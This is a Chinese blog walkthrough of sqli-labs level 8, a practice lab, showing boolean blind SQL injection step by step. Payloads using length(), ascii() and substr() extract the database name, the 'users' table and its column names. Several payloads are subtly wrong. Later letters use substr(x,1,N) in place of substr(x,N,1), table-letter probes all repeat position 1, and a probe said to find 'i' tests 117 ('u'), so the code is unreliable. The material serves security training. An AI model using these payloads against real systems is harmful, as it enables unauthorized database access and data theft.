sqli-labs:第八关

还是id=1,正常显示

 使用id=1',发现并没有报错,而是没有正常显示

 使用id=1''和id=1'--+,正常显示

 猜测是关闭了报错,根据正确和错误的回显不同,可以使用布尔盲注

需要使用到的函数:

ascii():可将一个字符作为输入,并返回这个字符的ASCII码值

substr():用于截取字符串的函数

length():用于获取字符串长度的函数

开始注入:

1.猜解数据库名长度

id=1' and length(database())=1--+ #没有回显
id=1' and length(database())=2--+ #没有回显
id=1' and length(database())=3--+ #没有回显
id=1' and length(database())=4--+ #没有回显
......
id=1' and length(database())=8--+ #正常回显

猜解1-7时没有回显

猜解到8时正常显示,判断数据库名长度为8

 

2.猜解数据库名

使用二分法查找,小于110时不存在,小于120时存在,然后依次查找当猜到115时正常

id=1' and ascii(substr(database(),1,1))<110--+
id=1' and ascii(substr(database(),1,1))<120--+
......
id=1' and ascii(substr(database(),1,1))=115--+

没有回显

 有回显

等于115时正常,第一个字母为's'

依次猜解第二个、三个...到第八个字母,最终为'security'

id=1' and ascii(substr(database(),1,1))=115--+
id=1' and ascii(substr(database(),1,2))=101--+
id=1' and ascii(substr(database(),1,3))=99--+
id=1' and ascii(substr(database(),1,4))=114--+
id=1' and ascii(substr(database(),1,5))=117--+
id=1' and ascii(substr(database(),1,6))=105--+
id=1' and ascii(substr(database(),1,7))=116--+
id=1' and ascii(substr(database(),1,8))=121--+

3.猜解表名

判断第一个表名的长度

id=1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1--+ #没有回显
id=1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2--+ #没有回显
......
id=1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=6--+ #正常回显

猜解到6正常回显

 

由于得知数据库结果,根据前几关可得知,第四个表是我们想要的,猜解第四个表长度

id=1' and length(substr((select table_name from information_schema.tables where table_schema="security" limit 3,1),1))=5--+

猜解到5正常回显,因此第四个表长度为5

 4.猜解表名

根据之前二分法,得知表名为第一个值为117对应的为'u'

以此类推,最后表名为'users'

id=1' and ascii(substr((select table_name from information_schema.tables where table_schema="security" limit 3,1),1,1))=117--+
id=1' and ascii(substr((select table_name from information_schema.tables where table_schema="security" limit 3,1),1,1))=115--+
id=1' and ascii(substr((select table_name from information_schema.tables where table_schema="security" limit 3,1),1,1))=101--+
id=1' and ascii(substr((select table_name from information_schema.tables where table_schema="security" limit 3,1),1,1))=114--+
id=1' and ascii(substr((select table_name from information_schema.tables where table_schema="security" limit 3,1),1,1))=115--+

 5.猜解字段

第一个列名第一个字母为‘i’

id=1' and (select ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)))=117--+

第二个列名第一个字母为‘p’

id=1' and (select ascii(substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1)))=112--+

以此类推

当然最方便的还是使用工具:

1.当前数据库

2.查看表名

 

 3.查看列名

 

查看值 

 

 

  • 0
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值